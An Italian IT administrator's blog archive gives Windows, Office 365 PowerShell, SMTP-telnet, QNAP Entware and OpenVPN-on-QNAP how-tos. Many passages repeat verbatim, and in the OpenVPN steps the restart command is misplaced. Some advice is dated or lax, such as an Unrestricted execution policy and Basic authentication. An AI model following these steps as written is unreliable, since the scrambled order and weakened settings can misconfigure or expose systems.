Disattivare l'avvio automatico di Dropbox:
Scaricare NSSM e copiarlo in una cartella a piacere (io ho scelto c:\program files). Aprire un prompt dei comandi ed avviare il comando nssm.exe -install. Si aprira la schermata sotto, in cui sara' necessario avere puntare l'eseguibile (c:\Program Files (x86)\Dropbox\Client\Dropbox.exe).
E premere installa. E' fondamentale eseguire il servizio nel contesto dell'utente in cui dropbox e' stato configurato. Inizialmente ho configurato tutto come local system e non funzionava la sincronizzazione. Dopo aver modificato l'utente con cui eseguire il servizio, tutto ha funzionato a dovere.
Riferimenti e ringraziamenti:
https://0sten.wordpress.com/daws_en/
https://www.coretechnologies.com/products/AlwaysUp/Apps/RunDropboxAsAService.html
I software come Dropbox, Onedrive ecc. ecc. sono molto comodi, ma richiedono l'accesso con un utente. In alcuni e' possibile bypassare questo limite installandoli ed eseguendoli come servizio in Windows. Un software datato, ma molto conosciuto, e' SRVANY, del vecchio toolkit di Windows.
Nel mio caso ho usato NSSM (http://nssm.cc/). software carino e gratuito.
Usando tale software e' possibile avviare l'eseguibile di dropbox client come servizio. Occorre fare attenzione ad alcuni dettagli.
Disattivare l'avvio automatico di Dropbox:
Scaricare NSSM e copiarlo in una cartella a piacere (io ho scelto c:\program files). Aprire un prompt dei comandi ed avviare il comando nssm.exe -install. Si aprira la schermata sotto, in cui sara' necessario avere puntare l'eseguibile (c:\Program Files (x86)\Dropbox\Client\Dropbox.exe).
E premere installa. E' fondamentale eseguire il servizio nel contesto dell'utente in cui dropbox e' stato configurato. Inizialmente ho configurato tutto come local system e non funzionava la sincronizzazione. Dopo aver modificato l'utente con cui eseguire il servizio, tutto ha funzionato a dovere.
Riferimenti e ringraziamenti:
https://0sten.wordpress.com/daws_en/
https://www.coretechnologies.com/products/AlwaysUp/Apps/RunDropboxAsAService.html
mercoledì 19 giugno 2019
_msdcs missing
Oggi ho provato ad aggiungere un nuovo domain controller e nonostante a livello di impostazioni di scheda di rete e connettività fosse tutto regolare non c'era verso di riuscirci.
Dopo qualche piccola indagine mi sono reso conto che mancava completamente la zona:
_msdcs.dominio.local.
Questa zona contiene tutti i record necessari per individuare DC, GC ed altri servizi di AD.
Per ricreare la zona ho:
- verificato la presenza della cartella (subzone) _msdcs dentro a dominio.local.
Siccome rappresenta una delega, deve apparire in grigio e non in giallo come tutte le altre subzone.
- creato manualmente la zona _msdcs.dominio.local (primary, AD integrated)
- riavviato il servizio NETLOGON (accesso di rete)
Se tutto e' andato come deve la zona verrà correttamente popolata.
Nel caso in cui mancasse questa zona, potrebbe non essere possibile aggiungere domain controller, o altri client al dominio.
Link di riferimento:
mercoledì 12 giugno 2019
Collegarsi ad Office 365 tramite powershell (with or w/o MFA)
Per collegarsi in powershell senza MFA (multifactor authentication)
Aprire powershell in administrative mode
Set-ExecutionPolicy -executionpolicy Unrestricted
$UserCredential = Get-Credential
apparira una finestra in cui inserire le credenziali di accesso al tenant
apparira una finestra in cui inserire le credenziali di accesso al tenant
Oppure
$UserCredential = Get-Credential postmaster@tenantname.onmicrosoft.com
(verra richiesta la password)
(verra richiesta la password)
$Session = New-PSSession
-ConfigurationName Microsoft.Exchange -ConnectionUri
https://outlook.office365.com/powershell-liveid/ -Credential $UserCredential
-Authentication Basic -AllowRedirection
Con questo comando viene creata la sessione
Import-PSSession $Session
Con questo comando viene creata la sessione
Import-PSSession $Session
Oppure
Import-PSSession $Session -DisableNameChecking
con questo comando si avvia la sessione
Remove-PSSession $Session
Ricordarsi di chiudere la sessione, una volta concluso.
Esiste un limite di sessioni. Una volta raggiunto questo limite non e' possibile crearne di nuove. Per collegarsi occorre aspettare che quelle occupate vadano in timeout
Get-pssession
mostra le sessioni attive in questo momento
Collegarsi ad Office365 in Powershell con MFA
Aprire il browser (come administrator), andare nell'interfaccia di gestione di Exchange online - in Hybrid e premere su powershell.
A questo punto si aprira la powershell. Se abbiamo aperto il browser come administrator, si aprira la powershell come administrator.
Eseguire il seguente comendo:
Connect-EXOPSSession [-UserPrincipalName -ConnectionUri <ConnectionUri> -AzureADAuthorizationEndPointUri <AzureADUri> -DelegatedOrganization <String>]
Connect-EXOPSSession -UserPrincipalName user@domain.onmicrosoft.com
REFERENCE
https://docs.microsoft.com/it-it/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/mfa-connect-to-exchange-online-powershell?view=exchange-ps
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/connect-to-exchange-online-powershell?redirectedfrom=MSDN&view=exchange-ps
Remove-PSSession $Session
Ricordarsi di chiudere la sessione, una volta concluso.
Esiste un limite di sessioni. Una volta raggiunto questo limite non e' possibile crearne di nuove. Per collegarsi occorre aspettare che quelle occupate vadano in timeout
Get-pssession
mostra le sessioni attive in questo momento
Collegarsi ad Office365 in Powershell con MFA
Aprire il browser (come administrator), andare nell'interfaccia di gestione di Exchange online - in Hybrid e premere su powershell.
A questo punto si aprira la powershell. Se abbiamo aperto il browser come administrator, si aprira la powershell come administrator.
Eseguire il seguente comendo:
Connect-EXOPSSession [-UserPrincipalName -ConnectionUri <ConnectionUri> -AzureADAuthorizationEndPointUri <AzureADUri> -DelegatedOrganization <String>]
Connect-EXOPSSession -UserPrincipalName user@domain.onmicrosoft.com
REFERENCE
https://docs.microsoft.com/it-it/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/mfa-connect-to-exchange-online-powershell?view=exchange-ps
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/connect-to-exchange-online-powershell?redirectedfrom=MSDN&view=exchange-ps
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/connect-to-exchange-online-powershell/connect-to-exchange-online-powershell?view=exchange-ps
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/disable-access-to-exchange-online-powershell?view=exchange-ps
https://www.solvitns.com.au/how-to-connect-disconnect-to-office-365-with-powershell/
https://docs.microsoft.com/en-us/powershell/exchange/exchange-online/disable-access-to-exchange-online-powershell?view=exchange-ps
https://www.solvitns.com.au/how-to-connect-disconnect-to-office-365-with-powershell/
lunedì 27 maggio 2019
TEST SMTP AUTENTICATO TRAMITE TELNET
Nel caso in cui fosse necessario collegarsi in telnet ad un SMTP autenticato per effettuare dei test di funzionamento, spedizione ecc. ecc. e possibile farlo tenendo presente che occorre rispondere in BASE64 per comunicare username e password.
in sintesi:
- telnet "nome mailserver" "porta mailserver"
- helo me
- auth login (da qui in poi il server rispondera' in base 64.)
inserire la username codificata in base64 e premere invio
inserire la password codificata in base64 e premere invio
da ora in poi e' possibile continuare con i normali comandi:
mail from: indirizzo mittente
rcpt to: indirizzo destinatario
data
.
REFERENCE
venerdì 18 gennaio 2019
QNAP Entware TCPDump e comandi bash Linux
Configurando la VPN sulla QNAP, mi sono reso conto che mi avrebbe fatto comodo usare il comando TCPDUMP. Purtroppo il comando non e' disponibile in modo nativo sulla QNAP. Per risolvere il problema ci viene incontro l'app Entware che consente l'installazione di molti comandi non presenti in modo nativo.
Per installarlo occorre:
- scaricare il qpkg
- installarlo manualmente dall'app center della qnap
- aprire una shell in ssh
- andare nel percorso del programma, aggiornare la lista delle applicazioni disponibili, installare le applicazioni ed i comandi necessari ed infine usarli :).
- Andando sul seguente link:
http://entware.zyxmon.org/binaries/other/Entware-ng_0.97.qpkg
e' possibile scaricare l'applicazione
- Installazione Entware
Dopo aver scaricato l'app installarla manualmente dall'APP CENTER di QNAP.
- accedere in console
Accedere alla QNAP tramite SSH
- Usare entware
"/opt/bin/opkg update" - aggiornamento dell'elenco dei pacchetti disponibili
"/opt/bin/opkg list" - elenca i pacchetti disponibili
"/opt/bin/opkg install tcpdump" - installa un pacchetto (e le dipendenze eventuali)
- Utilizzare i software installati
Per installarlo occorre:
- scaricare il qpkg
- installarlo manualmente dall'app center della qnap
- aprire una shell in ssh
- andare nel percorso del programma, aggiornare la lista delle applicazioni disponibili, installare le applicazioni ed i comandi necessari ed infine usarli :).
- Andando sul seguente link:
http://entware.zyxmon.org/binaries/other/Entware-ng_0.97.qpkg
e' possibile scaricare l'applicazione
- Installazione Entware
Dopo aver scaricato l'app installarla manualmente dall'APP CENTER di QNAP.
- accedere in console
Accedere alla QNAP tramite SSH
- Usare entware
"/opt/bin/opkg update" - aggiornamento dell'elenco dei pacchetti disponibili
"/opt/bin/opkg list" - elenca i pacchetti disponibili
"/opt/bin/opkg install tcpdump" - installa un pacchetto (e le dipendenze eventuali)
- Utilizzare i software installati
Nel mio caso, TCPDUMP, e' stato installato in /opt/sbin/tcpdump
Finito
Link:
https://forum.qnap.com/viewtopic.php?f=351&t=116737&sid=5976d6b470a1d4e541d6b543c98aa355
OPENVPN su QNAP
Bene,
eccoci ad un capitolo interessante. Configurare OPENVPN su QNAP in modo che sia accessibile anche la rete interna.
Configurare OpenVpn su QNAP non e' complesso. Essenzialmente e' sufficiente:
- installare ed aprire l'applicazione QVPN (app center/qvpn)
- abilitare OpenVPN, con i parametri base
- pubblicare la nas (nel mio caso ho deciso di usare la porta TCP/1194). Cio significa che tutto il traffico proveniente dall'esterno e destinato sulla porta TCP/1194 venga redirezionato sulla NAS.
Fatto questo saremo in grado di raggiungere la QNAP dall'esterno. Per rendere raggiungibile tutta la rete interna sulla quale risiede la NAS stessa, usandola come un vero e proprio Access Server, occorre effettuare qualche piccola modifica.
- Abilitare l'SSH.
Le modifiche che andremo a fare richiedono l'accesso in SSH alla NAS.
- modificare il file vpn_openvpn.sh
Ogni volta che viene riavviato il servizio QVPN sulla NAS, il file "/etc/openvpn/server.conf" viene rigenerato. Per questo motivo e' inutile modificare questo file ma occorre agire sull'origine. Modificare il file: vim /share/CACHEDEV1_DATA/.qpkg/QVPN/etc/init.d/vpn_openvpn.sh.
Cercare il blocco:
persist-tun
duplicate-cn
script-security 3
client-to-client
management localhost 7505
#username-as-common-name
client-cert-not-required
auth-user-pass-verify /usr/sbin/qvpn.sauth via-env
ca /etc/openvpn/keys/ca.crt
dh /etc/openvpn/keys/dh1024.pem
key /etc/openvpn/keys/myserver.key
cert /etc/openvpn/keys/myserver.crt
client-connect /etc/openvpn/connect.sh
client-disconnect /etc/openvpn/disconnect.sh
status /var/log/openvpn-status.log
writepid /var/run/openvpn.server.pid
port ${VPN_PORT}
proto ${VPN_PROTO}
max-clients ${VPN_MAXIMUM}
server ${VPN_IP_POOL} 255.255.255.0
Ed aggiungere le due seguenti righe:
ifconfig-pool-persist ipp.txt
push "route 10.20.30.0 255.255.255.0"
(supponendo che questo sia l'indirizzamento della rete locale)
/etc/init.d/qvpn.sh restart
A questo punto siamo quasi pronti. Salvare il file di configurazione per importare il profilo sul client. Prima di importare il profilo, aprire con un editor di testo il file.ovpn ed aggiungere una riga per inserire il comando pull:
client
dev tun
script-security 3
resolv-retry infinite
nobind
auth-nocache
auth-user-pass
remote-cert-tls server
reneg-sec 0
cipher AES-128-CBC
pull
proto tcp
eccoci ad un capitolo interessante. Configurare OPENVPN su QNAP in modo che sia accessibile anche la rete interna.
Configurare OpenVpn su QNAP non e' complesso. Essenzialmente e' sufficiente:
- installare ed aprire l'applicazione QVPN (app center/qvpn)
- abilitare OpenVPN, con i parametri base
- pubblicare la nas (nel mio caso ho deciso di usare la porta TCP/1194). Cio significa che tutto il traffico proveniente dall'esterno e destinato sulla porta TCP/1194 venga redirezionato sulla NAS.
Fatto questo saremo in grado di raggiungere la QNAP dall'esterno. Per rendere raggiungibile tutta la rete interna sulla quale risiede la NAS stessa, usandola come un vero e proprio Access Server, occorre effettuare qualche piccola modifica.
- Abilitare l'SSH.
Le modifiche che andremo a fare richiedono l'accesso in SSH alla NAS.
- modificare il file vpn_openvpn.sh
Ogni volta che viene riavviato il servizio QVPN sulla NAS, il file "/etc/openvpn/server.conf" viene rigenerato. Per questo motivo e' inutile modificare questo file ma occorre agire sull'origine. Modificare il file: vim /share/CACHEDEV1_DATA/.qpkg/QVPN/etc/init.d/vpn_openvpn.sh.
Cercare il blocco:
persist-tun
duplicate-cn
script-security 3
client-to-client
management localhost 7505
#username-as-common-name
client-cert-not-required
auth-user-pass-verify /usr/sbin/qvpn.sauth via-env
ca /etc/openvpn/keys/ca.crt
dh /etc/openvpn/keys/dh1024.pem
key /etc/openvpn/keys/myserver.key
cert /etc/openvpn/keys/myserver.crt
client-connect /etc/openvpn/connect.sh
client-disconnect /etc/openvpn/disconnect.sh
status /var/log/openvpn-status.log
writepid /var/run/openvpn.server.pid
port ${VPN_PORT}
proto ${VPN_PROTO}
max-clients ${VPN_MAXIMUM}
server ${VPN_IP_POOL} 255.255.255.0
Ed aggiungere le due seguenti righe:
ifconfig-pool-persist ipp.txt
push "route 10.20.30.0 255.255.255.0"
(supponendo che questo sia l'indirizzamento della rete locale)
Salvare il file modificato e riavviare il servizio VPN con il seguente comando:
client
dev tun
script-security 3
resolv-retry infinite
nobind
auth-nocache
auth-user-pass
remote-cert-tls server
reneg-sec 0
cipher AES-128-CBC
pull
proto tcp
Il comando pull serve per consentire al client di accettare il push della route da parte del server.
Molto probabilmente l'aggiornamento dell'app QVPN o del firmware, richiederanno la reimpostazione delle modifiche fatte sopra.
E' necessario controllare anche se l'IP forwarding sulla QNAP e abilitato. Aprire il file
vim /proc/sys/net/ipv4/ip_forward ed impostare il valore ad 1 (se fosse 0). Questo serve per abilitare l'inoltro dei pacchetti tra interfacce.
Percorsi e file utili per la configurazione
/etc/config/vpn.conf
/share/CACHEDEV1_DATA/.qpkg/QVPN/etc/init.d/vpn_openvpn.sh
/etc/openvpn/server.conf
Percorsi e file utili per la configurazione
/etc/config/vpn.conf
/share/CACHEDEV1_DATA/.qpkg/QVPN/etc/init.d/vpn_openvpn.sh
/etc/openvpn/server.conf
N.B. e consigliabile fare una copia dei file di configurazione prima di modificarli.
Link:
https://openvpn.net/vpn-server-resources/site-to-site-routing-explained-in-detail/
https://openvpn.net/community-resources/how-to/#scope
https://forum.qnap.com/viewtopic.php?t=58640 (verso la fine dell'articolo)
https://forum.qnap.com/viewtopic.php?t=60189
http://blog.bobbyallen.me/2016/02/07/enabling-openvpn-clients-to-access-to-the-lan/
http://blog.bobbyallen.me/2016/02/07/enabling-openvpn-clients-to-access-to-the-lan/
Iscriviti a:
Post (Atom)